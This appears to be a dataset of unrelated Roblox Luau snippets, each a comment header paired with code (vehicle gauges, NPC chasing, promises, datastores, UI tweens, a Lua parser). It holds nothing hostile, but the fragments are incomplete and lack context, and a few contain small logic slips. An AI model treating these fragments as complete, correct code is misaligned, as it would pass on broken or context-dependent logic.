ScriptConnection.__index = ScriptConnection
function ScriptConnection:Disconnect()
if self._is_connected == false then
return
end
self._is_connected = false
self._script_signal._listener_count -= 1
if self._script_signal._head == self then
self._script_signal._head = self._next
else
local prev = self._script_signal._head
while prev ~= nil and prev._next ~= self do
prev = prev._next
end
if prev ~= nil then
prev._next = self._next
end
end
if self._disconnect_listener ~= nil then
if not FreeRunnerThread then
FreeRunnerThread = coroutine.create(RunEventHandlerInFreeThread)
end
task.spawn(FreeRunnerThread, self._disconnect_listener, self._disconnect_param)
self._disconnect_listener = nil
end
end
|
--[=[
Makes the translator fall back to another translator if an entry cannot be found.
Mostly just used for testing.
@param translator JSONTranslator | Translator
]=]
|
function JSONTranslator:FallbackTo(translator)
assert(translator, "Bad translator")
assert(translator.FormatByKey, "Bad translator")
table.insert(self._fallbacks, translator)
end
|
-- ================================================================================
-- Settings - Beast
-- ================================================================================
|
local Settings = {}
Settings.DefaultSpeed = 95 -- Speed when not boosted [Studs/second, Range 50-300]
Settings.BoostSpeed = 150 -- Speed when boosted [Studs/second, Maximum: 400]
Settings.BoostAmount = 12 -- Duration of boost in seconds
Settings.Steering = 4 -- How quickly the speeder turns [Range: 1-10]
|
--- Registers a type in the system.
-- name: The type Name. This must be unique.
|
function Registry:RegisterType (name, typeObject)
if not name or not typeof(name) == "string" then
error("Invalid type name provided: nil")
end
if not name:find("^[%d%l]%w*$") then
error(('Invalid type name provided: "%s", type names must be alphanumeric and start with a lower-case letter or a digit.'):format(name))
end
for key in pairs(typeObject) do
if self.TypeMethods[key] == nil then
error("Unknown key/method in type \"" .. name .. "\": " .. key)
end
end
if self.Types[name] ~= nil then
error(('Type "%s" has already been registered.'):format(name))
end
typeObject.Name = name
typeObject.DisplayName = typeObject.DisplayName or name
self.Types[name] = typeObject
end
|
--["Walk"] = "rbxassetid://1136173829",
|
["Walk"] = "http://www.roblox.com/asset/?id=507767714",
["Idle"] = "http://www.roblox.com/asset/?id=507766666",
["SwingTool"] = "rbxassetid://1262318281"
}
local anims = {}
for animName,animId in next,preAnims do
local anim = Instance.new("Animation")
anim.AnimationId = animId
game:GetService("ContentProvider"):PreloadAsync({anim})
anims[animName] = animController:LoadAnimation(anim)
end
local fallConstant = -2
run.Heartbeat:connect(function()
local part,pos,norm,mat = workspace:FindPartOnRay(Ray.new(root.Position,Vector3.new(0,-2.8,0)),char)
if target.Value then
local facingCFrame = CFrame.new(Vector3.new(root.CFrame.X,pos.Y+6.8,root.CFrame.Z),CFrame.new(target.Value.CFrame.X,pos.Y+3,target.Value.CFrame.Z).p)
bg.CFrame = facingCFrame
else
--bg.CFrame = CFrame.new(root.CFrame.X,pos.Y+3,root.CFrame.Z)
end
if target.Value then
bv.P = 100000
bv.Velocity = root.CFrame.lookVector*14
if not part then
bv.Velocity = bv.Velocity+Vector3.new(0,fallConstant,0)
fallConstant = fallConstant-1
else
fallConstant = -2
end
if not anims["Walk"].IsPlaying then
anims["Walk"]:Play()
end
else
bv.P = 0
bv.Velocity = Vector3.new(0,0,0)
anims["Walk"]:Stop()
anims["Idle"]:Play()
end
end)
while wait(1) do
local thresh,nearest = 120,nil
for _,player in next,game.Players:GetPlayers() do
if player.Character and player.Character.PrimaryPart then
local dist = (player.Character.PrimaryPart.Position-root.Position).magnitude
if dist < thresh then
thresh = dist
nearest = player.Character.PrimaryPart
end
end
end
if nearest then
if thresh < 8 then
anims["SwingTool"]:Play()
local plr = game.Players:GetPlayerFromCharacter(nearest.Parent)
_G.SD[plr.UserId].Data.stats.health = _G.SD[plr.UserId].Data.stats.health - 24
if _G.SD[plr.UserId].Data.stats.health < 1 then
plr.Character:BreakJoints()
end
target.Value = nil
wait(1)
end
target.Value = nearest
else
target.Value = nil
end
end
|
--------------------) Settings
|
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 0.5 -- cooldown for use of the tool again
ZoneModelName = "Bullet 1" -- name the zone model
MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
|
--Driver Sit
|
bike.DriveSeat.ChildAdded:connect(function(child)
if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
--Distribute Client Interface
local p=game.Players:GetPlayerFromCharacter(child.Part1.Parent)
bike.DriveSeat:SetNetworkOwner(p)
local g=script.Parent.Interface:Clone()
g.Parent=p.PlayerGui
end
end)
|
--edit the below function to execute code when this response is chosen OR this prompt is shown
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
|
return function(player, dialogueFolder)
local ClassInformationTable = require(game.ReplicatedStorage.Source.Modules.CharacterScripts.Classes.ClassInformation)
ClassInformationTable:GetClassFolder(player,"Warlock").Obtained.Value = true
ClassInformationTable:GetClassFolder(player,"Warlock").Firespread.Value = true
local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
plrData.Money.Gold.Value = plrData.Money.Gold.Value - 70 -- TODO Track payment for dissertation
end
|
-- Init button
|
local M = require(game.ReplicatedStorage.FOSLS.UIModule);
script.Parent.Button.MouseButton1Click:Connect(function ()
game.Players.LocalPlayer.Character.Humanoid.Health = 0;
end)
M:DefaultButton(script.Parent);
|
-- Event Handlers
|
function Input:_checkDown (userInput, isDown)
if (not self:_isDown (userInput)) then return end
self._isMouseDown = isDown;
if (not isDown) then
self.ButtonUp:Fire ();
end
end
function Input:_checkMouseMoved (userInput, isTouch)
if (not isTouch and not self:_isMovement (userInput)) then return end;
if (not self._isMouseDown) then
self.MouseMoved:Fire (userInput.Position);
else
self.Dragged:Fire (userInput.Position, isTouch);
end;
end
|
--[[
Works exactly like the real DataStore.
safeDataStore.Failed(method, key, errorMessage)
--]]
|
local SafeDataStore = {}
SafeDataStore.__index = SafeDataStore
local MAX_ATTEMPTS = 5
local ATTEMPT_INTERVAL = 2
local dataStoreService = game:GetService("DataStoreService")
if (game.PlaceId == 0) then
dataStoreService = require(script:WaitForChild("MockDataStoreService"))
end
|
--Automatic Gauge Scaling
|
if autoscaling then
local Drive={}
if _Tune.Config == "FWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("FL")~= nil then
table.insert(Drive,car.Wheels.FL)
end
if car.Wheels:FindFirstChild("FR")~= nil then
table.insert(Drive,car.Wheels.FR)
end
if car.Wheels:FindFirstChild("F")~= nil then
table.insert(Drive,car.Wheels.F)
end
end
if _Tune.Config == "RWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("RL")~= nil then
table.insert(Drive,car.Wheels.RL)
end
if car.Wheels:FindFirstChild("RR")~= nil then
table.insert(Drive,car.Wheels.RR)
end
if car.Wheels:FindFirstChild("R")~= nil then
table.insert(Drive,car.Wheels.R)
end
end
local wDia = 0
for i,v in pairs(Drive) do
if v.Size.x>wDia then wDia = v.Size.x end
end
Drive = nil
for i,v in pairs(UNITS) do
v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive)
v.spInc = math.max(math.ceil(v.maxSpeed/200)*20,20)
end
end
for i=0,revEnd*2 do
local ln = script.Parent.ln:clone()
ln.Parent = script.Parent.Tach
ln.Rotation = 45 + i * 225 / (revEnd*2)
ln.Num.Text = i/2
ln.Num.Rotation = -ln.Rotation
if i*500>=math.floor(_pRPM/500)*500 then
ln.Frame.BackgroundColor3 = Color3.new(1,0,0)
if i<revEnd*2 then
ln2 = ln:clone()
ln2.Parent = script.Parent.Tach
ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2)
ln2.Num:Destroy()
ln2.Visible=true
end
end
if i%2==0 then
ln.Frame.Size = UDim2.new(0,3,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
ln.Num.Visible = true
else
ln.Num:Destroy()
end
ln.Visible=true
end
local lns = Instance.new("Frame",script.Parent.Speedo)
lns.Name = "lns"
lns.BackgroundTransparency = 1
lns.BorderSizePixel = 0
lns.Size = UDim2.new(0,0,0,0)
for i=1,90 do
local ln = script.Parent.ln:clone()
ln.Parent = lns
ln.Rotation = 45 + 225*(i/90)
if i%2==0 then
ln.Frame.Size = UDim2.new(0,2,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
else
ln.Frame.Size = UDim2.new(0,3,0,5)
end
ln.Num:Destroy()
ln.Visible=true
end
for i,v in pairs(UNITS) do
local lnn = Instance.new("Frame",script.Parent.Speedo)
lnn.BackgroundTransparency = 1
lnn.BorderSizePixel = 0
lnn.Size = UDim2.new(0,0,0,0)
lnn.Name = v.units
if i~= 1 then lnn.Visible=false end
for i=0,v.maxSpeed,v.spInc do
local ln = script.Parent.ln:clone()
ln.Parent = lnn
ln.Rotation = 45 + 225*(i/v.maxSpeed)
ln.Num.Text = i
ln.Num.TextSize = 14
ln.Num.Rotation = -ln.Rotation
ln.Frame:Destroy()
ln.Num.Visible=true
ln.Visible=true
end
end
if script.Parent.Parent.IsOn.Value then
script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
script.Parent.Parent.IsOn.Changed:connect(function()
if script.Parent.Parent.IsOn.Value then
script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
end)
script.Parent.Parent.Values.RPM.Changed:connect(function()
script.Parent.Tach.Needle.Rotation = 45 + 225 * math.min(1,script.Parent.Parent.Values.RPM.Value / (revEnd*1000))
intach.Rotation = -90 + script.Parent.Parent.Values.RPM.Value * 270 / 12000
end)
script.Parent.Parent.Values.Gear.Changed:connect(function()
local gearText = script.Parent.Parent.Values.Gear.Value
if gearText == 0 then gearText = "N"
elseif gearText == -1 then gearText = "R"
end
script.Parent.Gear.Text = gearText
end)
script.Parent.Parent.Values.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCS.Value then
script.Parent.TCS.TextColor3 = Color3.new(1,170/255,0)
script.Parent.TCS.TextStrokeColor3 = Color3.new(1,170/255,0)
if script.Parent.Parent.Values.TCSActive.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
else
wait()
script.Parent.TCS.Visible = false
end
else
script.Parent.TCS.Visible = true
script.Parent.TCS.TextColor3 = Color3.new(1,0,0)
script.Parent.TCS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
script.Parent.TCS.Visible = false
end
end)
script.Parent.Parent.Values.TCSActive.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
elseif not script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = true
else
wait()
script.Parent.TCS.Visible = false
end
else
script.Parent.TCS.Visible = false
end
end)
script.Parent.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
elseif not script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = true
end
else
if script.Parent.TCS.Visible then
script.Parent.TCS.Visible = false
end
end
end)
script.Parent.Parent.Values.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABS.Value then
script.Parent.ABS.TextColor3 = Color3.new(1,170/255,0)
script.Parent.ABS.TextStrokeColor3 = Color3.new(1,170/255,0)
if script.Parent.Parent.Values.ABSActive.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
else
wait()
script.Parent.ABS.Visible = false
end
else
script.Parent.ABS.Visible = true
script.Parent.ABS.TextColor3 = Color3.new(1,0,0)
script.Parent.ABS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
script.Parent.ABS.Visible = false
end
end)
script.Parent.Parent.Values.ABSActive.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
elseif not script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = true
else
wait()
script.Parent.ABS.Visible = false
end
else
script.Parent.ABS.Visible = false
end
end)
script.Parent.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
elseif not script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = true
end
else
if script.Parent.ABS.Visible then
script.Parent.ABS.Visible = false
end
end
end)
script.Parent.Parent.Values.PBrake.Changed:connect(function()
script.Parent.PBrake.Visible = script.Parent.Parent.Values.PBrake.Value
end)
script.Parent.Parent.Values.TransmissionMode.Changed:connect(function()
if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then
script.Parent.TMode.Text = "A/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(1,170/255,0)
elseif script.Parent.Parent.Values.TransmissionMode.Value == "Semi" then
script.Parent.TMode.Text = "S/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255)
else
script.Parent.TMode.Text = "M/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(1,85/255,.5)
end
end)
script.Parent.Parent.Values.Velocity.Changed:connect(function(property)
script.Parent.Speedo.Needle.Rotation = 45 + 225 * math.min(1,UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed)
script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
inspd.Rotation = -90 + (270 / 240) * (script.Parent.Parent.Values.Velocity.Value.Magnitude * ((10/12) * 1.09728))
end)
script.Parent.Speed.MouseButton1Click:connect(function()
if currentUnits==#UNITS then
currentUnits = 1
else
currentUnits = currentUnits+1
end
for i,v in pairs(script.Parent.Speedo:GetChildren()) do
v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns"
end
script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)
mouse.KeyDown:connect(function(key)
if key=="v" then
script.Parent.Visible=not script.Parent.Visible
end
end)
|
--[=[
Registers a callback that runs when an unhandled rejection happens. An unhandled rejection happens when a Promise
is rejected, and the rejection is not observed with `:catch`.
The callback is called with the actual promise that rejected, followed by the rejection values.
@param callback (promise: Promise, ...: any) -- A callback that runs when an unhandled rejection happens.
@return () -> () -- Function that unregisters the `callback` when called
]=]
|
function Promise.onUnhandledRejection(callback)
table.insert(Promise._unhandledRejectionCallbacks, callback)
return function()
local index = table.find(Promise._unhandledRejectionCallbacks, callback)
if index then
table.remove(Promise._unhandledRejectionCallbacks, index)
end
end
end
return Promise
|
--[=[
Promises a user thumbnail with retry enabled.
```lua
PlayerThumbnailUtils.promiseUserThumbnail(4397833):Then(function(image)
imageLabel.Image = image
end)
```
@param userId number
@param thumbnailType ThumbnailType?
@param thumbnailSize ThumbnailSize?
@return Promise<string>
]=]
|
function PlayerThumbnailUtils.promiseUserThumbnail(userId, thumbnailType, thumbnailSize)
assert(type(userId) == "number", "Bad userId")
thumbnailType = thumbnailType or Enum.ThumbnailType.HeadShot
thumbnailSize = thumbnailSize or Enum.ThumbnailSize.Size100x100
local promise
promise = Promise.spawn(function(resolve, reject)
local tries = 0
repeat
tries = tries + 1
local content, isReady
local ok, err = pcall(function()
content, isReady = Players:GetUserThumbnailAsync(userId, thumbnailType, thumbnailSize)
end)
-- Don't retry if we immediately error (timeout exceptions!)
if not ok then
return reject(err)
end
if isReady then
return resolve(content)
else
task.wait(0.05)
end
until tries >= MAX_TRIES or (not promise:IsPending())
reject()
end)
return promise
end
|
--[=[
Utility methods to interactive with Roblox datastores.
@server
@class DataStorePromises
]=]
|
local require = require(script.Parent.loader).load(script)
local Promise = require("Promise")
local DataStoreService = game:GetService("DataStoreService")
local DataStorePromises = {}
|
---------------------------------------------------------------------------------------
|
local buttonsOpen = ts:Create(buttons, ti, {Position = UDim2.new(0.5, 0, 0.75, 0)})
local buttonsClose = ts:Create(buttons, ti, {Position = UDim2.new(0.5, 0, 1.2, 0)})
local titleOpen = ts:Create(title, ti, {Position = UDim2.new(0.5, 0, 0.25, 0)})
local titleClose = ts:Create(title, ti, {Position = UDim2.new(0.5, 0, -0.2, 0)})
local popupsOpen = ts:Create(popups, ti, {Position = UDim2.new(0.5, 0, 0.5, 0)})
local popupsClose = ts:Create(popups, ti, {Position = UDim2.new(0.5, 0, -0.4, 0)})
local fadeOpen = ts:Create(fade, ti2, {BackgroundTransparency = 1})
local fadeClose = ts:Create(fade, ti, {BackgroundTransparency = 0})
local versionOpen = ts:Create(gameVersion, ti, {Position = UDim2.new(0.745, 0, 0.992, 0)})
local versionClose = ts:Create(gameVersion, ti, {Position = UDim2.new(0.745, 0, 1.005, 0)})
local blurOpen = ts:Create(game.Lighting.Blur, ti2, {Size = customMenuBlurIntesity})
local blurClose = ts:Create(game.Lighting.Blur, ti2, {Size = 6})
local menuMusicOn = ts:Create(Sounds.MenuMusic, ti3, {Volume = customMenuMusicVolume})
local menuMusicOff = ts:Create(Sounds.MenuMusic, ti3, {Volume = 0})
local gameMusicOn = ts:Create(Sounds.GameMusic, ti3, {Volume = customGameMusicVolume})
local gameMusicOff = ts:Create(Sounds.GameMusic, ti3, {Volume = 0})
local menuFieldOfViewChange = ts:Create(currentCamera, ti3, {FieldOfView = customMenuBlurIntesity})
local gameFieldOfViewChange = ts:Create(currentCamera, ti3, {FieldOfView = configuration.FieldOfView.Value})
|
-- Only register when we aren't in studio because don't want to overwrite what the server portion did
|
if RunService:IsServer() == false then
Cmdr.Registry:RegisterTypesIn(script:WaitForChild("Types"))
Cmdr.Registry:RegisterCommandsIn(script:WaitForChild("Commands"))
end
|
--[[ CONSTRUCTOR ]]
|
--
function Path.new(agent, agentParameters)
if not (agent and agent:IsA("Model") and agent.PrimaryPart) then
output(error, "Pathfinding agent must be a valid Model Instance with a set PrimaryPart.")
end
local self = setmetatable({
_events = {
Reached = Instance.new("BindableEvent");
WaypointReached = Instance.new("BindableEvent");
Blocked = Instance.new("BindableEvent");
Error = Instance.new("BindableEvent");
Stopped = Instance.new("BindableEvent");
};
_agent = agent;
_humanoid = agent:FindFirstChildOfClass("Humanoid");
_path = PathfindingService:CreatePath(agentParameters);
_status = "Idle";
_t = 0;
_position = {
_last = Vector3.new();
_count = 0;
};
}, Path)
--Path blocked connection
self._path.Blocked:Connect(function(...)
if (self._currentWaypoint <= ... and self._currentWaypoint + 1 >= ...) and self._humanoid then
setJumpState(self)
self._events.Blocked:Fire(self._agent, self._waypoints[...])
end
end)
return self
end
|
-- Loading
|
local CutsceneFolder = workspace.Cutscenes:WaitForChild("fall") -- The folder that contains the cutscene data (Cameras...)
local Destroy = true -- Destroy folder after loading? you don't want your player to see your cameras floating around!
local NoYield = false -- Generally you want this to be set to false, because loading takes a little bit of time, and you don't want to interact with the cutscene when it's not loaded
local SafeMode = true -- This is adviced to be turned on, especially if the cutscene folder data is too big to load at one frame. when turned on, it loads a camera every frame, not all at once.
local Cutscene = require(CutsceneModule)
local Demo = Cutscene.new(Camera, Looping, Speed, FreezeControls) -- Create cutscene
Demo:Load(CutsceneFolder, Destroy, NoYield, SafeMode) -- Load cutscene data from folder
local PlayOnPartTouch = script:FindFirstChild("PlayOnPartTouch")
local PlayOnPlayerJoin = script:FindFirstChild("PlayOnPlayerJoin")
local PlayOnCharacterAdded = script:FindFirstChild("PlayOnCharacterAdded")
local PlayOnCharacterDied = script:FindFirstChild("PlayOnCharacterDied")
local PlayOnEventFire = script:FindFirstChild("PlayOnEventFire")
local PlayOnRemoteEventFire = script:FindFirstChild("PlayOnRemoteEventFire")
local ProtectTheCharacterWhilePlaying = script:FindFirstChild("ProtectTheCharacterWhilePlaying")
local CharacterProtector = script:FindFirstChild("CharacterProtector")
local Music = script:FindFirstChild("Music")
local StopMusicWhenFinished = script:FindFirstChild("StopMusicWhenFinished")
local StopOnEventFire = script:FindFirstChild("StopOnEventFire")
local StopOnRemoteEventFire = script:FindFirstChild("StopOnRemoteEventFire")
local PlayOnce = script:FindFirstChild("PlayOnce")
local Debounce = script:FindFirstChild("Cooldown")
local OnFinishedRemove = script:FindFirstChild("OnFinishedRemove")
local bin = true
local Player = game:GetService("Players").LocalPlayer
local CutsceneGui = script:FindFirstChild("Cutscene")
|
--!strict
|
local LuauPolyfill = script.Parent.Parent
local types = require(LuauPolyfill.types)
type Array<T> = types.Array<T>
type Object = types.Object
return function<T>(t: T & (Object | Array<any>)): T
-- Luau FIXME: model freeze better so it passes through the type constraint and doesn't erase
return (table.freeze(t :: any) :: any) :: T
end
|
-----------------------------------------------------------------------------------------------
|
local player=game.Players.LocalPlayer
local mouse=player:GetMouse()
local car = script.Parent.Parent.Car.Value
local _Tune = require(car.Tuner)
local gauges = script.Parent
local values = script.Parent.Parent.Values
local isOn = script.Parent.Parent.IsOn
gauges:WaitForChild("Speedo")
gauges:WaitForChild("Tach")
gauges:WaitForChild("Boost")
gauges:WaitForChild("ln")
gauges:WaitForChild("bln")
gauges:WaitForChild("Gear")
gauges:WaitForChild("Speed")
car.DriveSeat.HeadsUpDisplay = false
local _pRPM = _Tune.PeakRPM
local _lRPM = _Tune.Redline
local currentUnits = 1
local revEnd = math.ceil(_lRPM/1000)
|
-- Modules
|
local ModuleScriptsFolder = ReplicatedStorage.ModuleScripts
local GameSettings = require(ModuleScriptsFolder.GameSettings)
|
--------RIGHT DOOR 2--------
|
game.Workspace.doorright.l71.BrickColor = BrickColor.new(135)
game.Workspace.doorright.l72.BrickColor = BrickColor.new(135)
game.Workspace.doorright.l61.BrickColor = BrickColor.new(135)
game.Workspace.doorright.l11.BrickColor = BrickColor.new(102)
game.Workspace.doorright.l12.BrickColor = BrickColor.new(102)
game.Workspace.doorright.l13.BrickColor = BrickColor.new(102)
game.Workspace.doorright.l41.BrickColor = BrickColor.new(102)
game.Workspace.doorright.l42.BrickColor = BrickColor.new(102)
game.Workspace.doorright.l43.BrickColor = BrickColor.new(102)
game.Workspace.doorright.l73.BrickColor = BrickColor.new(102)
game.Workspace.doorright.l21.BrickColor = BrickColor.new(102)
game.Workspace.doorright.l22.BrickColor = BrickColor.new(102)
game.Workspace.doorright.l23.BrickColor = BrickColor.new(102)
game.Workspace.doorright.l51.BrickColor = BrickColor.new(102)
game.Workspace.doorright.l52.BrickColor = BrickColor.new(102)
game.Workspace.doorright.l53.BrickColor = BrickColor.new(102)
game.Workspace.doorright.l31.BrickColor = BrickColor.new(102)
game.Workspace.doorright.l32.BrickColor = BrickColor.new(102)
game.Workspace.doorright.l33.BrickColor = BrickColor.new(102)
game.Workspace.doorright.l63.BrickColor = BrickColor.new(102)
game.Workspace.doorright.l62.BrickColor = BrickColor.new(102)
|
--< Functions
|
function Redeem()
local arg1,arg2 = event:InvokeServer(code.Text)
code.Text = tostring(arg1)
wait(2)
code.Text = ""
end
|
-- ROBLOX deviation START: any types that aren't ported and we don't need
-- local jest_haste_mapModule = require(Packages["jest-haste-map"])
|
type HasteFS = any
type ModuleMap = any
|
--= Gui =--
|
hum.Died:connect(function()
gui:Clone().Parent = plr.PlayerGui
gui.Image.Visible = true
end)
|
-- Data Type Handling
|
local function ToString(value, type)
if type == "float" then
return tostring(Round(value,2))
elseif type == "Content" then
if string.find(value,"/asset") then
local match = string.find(value, "=") + 1
local id = string.sub(value, match)
return id
else
return tostring(value)
end
elseif type == "Vector2" then
local x = value.x
local y = value.y
return string.format("%g, %g", x,y)
elseif type == "Vector3" then
local x = value.x
local y = value.y
local z = value.z
return string.format("%g, %g, %g", x,y,z)
elseif type == "Color3" then
local r = value.r
local g = value.g
local b = value.b
return string.format("%d, %d, %d", r*255,g*255,b*255)
elseif type == "UDim2" then
local xScale = value.X.Scale
local xOffset = value.X.Offset
local yScale = value.Y.Scale
local yOffset = value.Y.Offset
return string.format("{%d, %d}, {%d, %d}", xScale, xOffset, yScale, yOffset)
else
return tostring(value)
end
end
local function ToValue(value,type)
if type == "Vector2" then
local list = Split(value,",")
if #list < 2 then return nil end
local x = tonumber(list[1]) or 0
local y = tonumber(list[2]) or 0
return Vector2.new(x,y)
elseif type == "Vector3" then
local list = Split(value,",")
if #list < 3 then return nil end
local x = tonumber(list[1]) or 0
local y = tonumber(list[2]) or 0
local z = tonumber(list[3]) or 0
return Vector3.new(x,y,z)
elseif type == "Color3" then
local list = Split(value,",")
if #list < 3 then return nil end
local r = tonumber(list[1]) or 0
local g = tonumber(list[2]) or 0
local b = tonumber(list[3]) or 0
return Color3.new(r/255,g/255, b/255)
elseif type == "UDim2" then
local list = Split(string.gsub(string.gsub(value, "{", ""),"}",""),",")
if #list < 4 then return nil end
local xScale = tonumber(list[1]) or 0
local xOffset = tonumber(list[2]) or 0
local yScale = tonumber(list[3]) or 0
local yOffset = tonumber(list[4]) or 0
return UDim2.new(xScale, xOffset, yScale, yOffset)
elseif type == "Content" then
if tonumber(value) ~= nil then
value = ContentUrl .. value
end
return value
elseif type == "float" or type == "int" or type == "double" then
return tonumber(value)
elseif type == "string" then
return value
elseif type == "NumberRange" then
local list = Split(value,",")
if #list == 1 then
if tonumber(list[1]) == nil then return nil end
local newVal = tonumber(list[1]) or 0
return NumberRange.new(newVal)
end
if #list < 2 then return nil end
local x = tonumber(list[1]) or 0
local y = tonumber(list[2]) or 0
return NumberRange.new(x,y)
else
return nil
end
end
|
--[[
These keys don't do anything except make expectations read more cleanly
]]
|
local SELF_KEYS = {
to = true,
be = true,
been = true,
have = true,
was = true,
at = true,
}
|
-- Name Colors
|
return {
BrickColor.new("Bright red").Color,
BrickColor.new("Bright blue").Color,
BrickColor.new("Earth green").Color,
BrickColor.new("Bright violet").Color,
BrickColor.new("Bright orange").Color,
BrickColor.new("Bright yellow").Color,
BrickColor.new("Light reddish violet").Color,
BrickColor.new("Brick yellow").Color
}
|
-- ROBLOX services
|
local Players = game:GetService("Players")
local ServerStorage = game:GetService("ServerStorage")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
|
---------------------------------------------------------------
|
function onChildAdded(child)
if child.Name == "SeatWeld" then
local human = child.part1.Parent:findFirstChild("Humanoid")
if (human ~= nil) then
print("Human IN")
seat.SirenControl.CarName.Value = human.Parent.Name.."'s Car"
seat.Parent.Name = human.Parent.Name.."'s Car"
s.Parent.SirenControl:clone().Parent = game.Players:findFirstChild(human.Parent.Name).PlayerGui
seat.Start:Play()
wait(1)
seat.Start:Stop()
seat.Engine:Play()
end
end
end
function onChildRemoved(child)
if (child.Name == "SeatWeld") then
local human = child.part1.Parent:findFirstChild("Humanoid")
if (human ~= nil) then
print("Human OUT")
seat.Parent.Name = "Empty Car"
seat.SirenControl.CarName.Value = "Empty Car"
game.Players:findFirstChild(human.Parent.Name).PlayerGui.SirenControl:remove()
seat.Engine:Stop()
end
end
end
script.Parent.ChildAdded:connect(onChildAdded)
script.Parent.ChildRemoved:connect(onChildRemoved)
|
-- Define the jump scale for the buttons
|
local jumpScale = 0.2
|
--CHANGE THIS LINE-- (Main)
|
Signal = script.Parent.Parent.Parent.ControlBox.SignalValues.Signal1 -- Change last word
|
-- General variables
|
local Tool = script.Parent.Parent
local MainScript = Tool:WaitForChild("Main")
local SegwayController = MainScript:WaitForChild("SegwayController")
local ToolStatus = Tool:WaitForChild("ToolStatus")
local Wings = {"Left Wing","Right Wing"}
|
------------------------------------------------------------------------
-- parse a while-do control structure, body processed by block()
-- * with dynamic array sizes, MAXEXPWHILE + EXTRAEXP limits imposed by
-- the function's implementation can be removed
-- * used in statements()
------------------------------------------------------------------------
|
function luaY:whilestat(ls, line)
-- whilestat -> WHILE cond DO block END
local fs = ls.fs
local bl = {} -- BlockCnt
luaX:next(ls) -- skip WHILE
local whileinit = luaK:getlabel(fs)
local condexit = self:cond(ls)
self:enterblock(fs, bl, true)
self:checknext(ls, "TK_DO")
self:block(ls)
luaK:patchlist(fs, luaK:jump(fs), whileinit)
self:check_match(ls, "TK_END", "TK_WHILE", line)
self:leaveblock(fs)
luaK:patchtohere(fs, condexit) -- false conditions finish the loop
end
|
-- Public Methods
|
function SliderClass:Get()
local t = self._Spring.x
if (self.Inverted) then t = 1 - t end
return t
end
function SliderClass:Set(value, doTween)
local spring = self._Spring
local newT = math.clamp(value, 0, 1)
if (self.Interval > 0) then
newT = math.floor((newT / self.Interval) + 0.5) * self.Interval
end
spring.t = newT
spring.instant = not doTween
end
function SliderClass:Destroy()
self._Maid:Sweep()
self.Frame:Destroy()
self.Changed = nil
self.Clicked = nil
self.StartDrag = nil
self.StopDrag = nil
self.Frame = nil
end
|
-- BEHAVIOUR
--Controller support
|
coroutine.wrap(function()
-- Create PC 'Enter Controller Mode' Icon
runService.Heartbeat:Wait() -- This is required to prevent an infinite recursion
local Icon = require(iconModule)
local controllerOptionIcon = Icon.new()
:setProperty("internalIcon", true)
:setName("_TopbarControllerOption")
:setOrder(100)
:setImage(11162828670)
:setRight()
:setEnabled(false)
:setTip("Controller mode")
:setProperty("deselectWhenOtherIconSelected", false)
-- This decides what controller widgets and displays to show based upon their connected inputs
-- For example, if on PC with a controller, give the player the option to enable controller mode with a toggle
-- While if using a console (no mouse, but controller) then bypass the toggle and automatically enable controller mode
userInputService:GetPropertyChangedSignal("MouseEnabled"):Connect(IconController._determineControllerDisplay)
userInputService.GamepadConnected:Connect(IconController._determineControllerDisplay)
userInputService.GamepadDisconnected:Connect(IconController._determineControllerDisplay)
IconController._determineControllerDisplay()
